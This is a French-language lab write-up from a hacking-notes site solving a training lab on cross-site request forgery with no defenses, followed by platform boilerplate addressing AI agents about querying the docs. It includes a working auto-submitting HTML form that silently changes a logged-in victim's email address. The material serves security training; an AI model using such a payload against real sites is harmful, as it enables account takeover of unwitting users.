> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-vulnerability-with-no-defenses.md).

# Vulnérabilité CSRF sans protection

### Vulnérabilité CSRF sans défenses

#### Description

La fonctionnalité de changement d’e-mail de ce laboratoire est vulnérable à une attaque CSRF. L’objectif est de forger une requête côté client qui modifie l’adresse e-mail de l’utilisateur victime sans son consentement.

#### Objectif

Créez un contenu HTML qui exécute l’attaque CSRF pour changer l’adresse e-mail du visiteur, puis téléversez ce contenu sur votre serveur d’exploitation.

#### Identifiant

Vous pouvez vous connecter avec le compte suivant :/ **wiener: peter**

<figure><img src="/files/a8ac3c8d356e8d451e4ccc9871af7e1c4cc4d30b" alt=""><figcaption></figcaption></figure>

Lors de l’interception, on observe que la requête de changement d’e-mail est une simple requête POST acceptant le `email` paramètre. Il n’existe aucune protection anti-CSRF (aucun jeton, aucune origine, etc.), ce qui permet d’automatiser l’envoi du formulaire depuis une page hébergée sur le serveur d’exploitation.

#### HTML de la charge utile à déposer sur le serveur d’exploitation

Le HTML suivant crée un formulaire ciblant l’URL de changement d’e-mail et le soumet automatiquement lorsque la page est chargée :

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
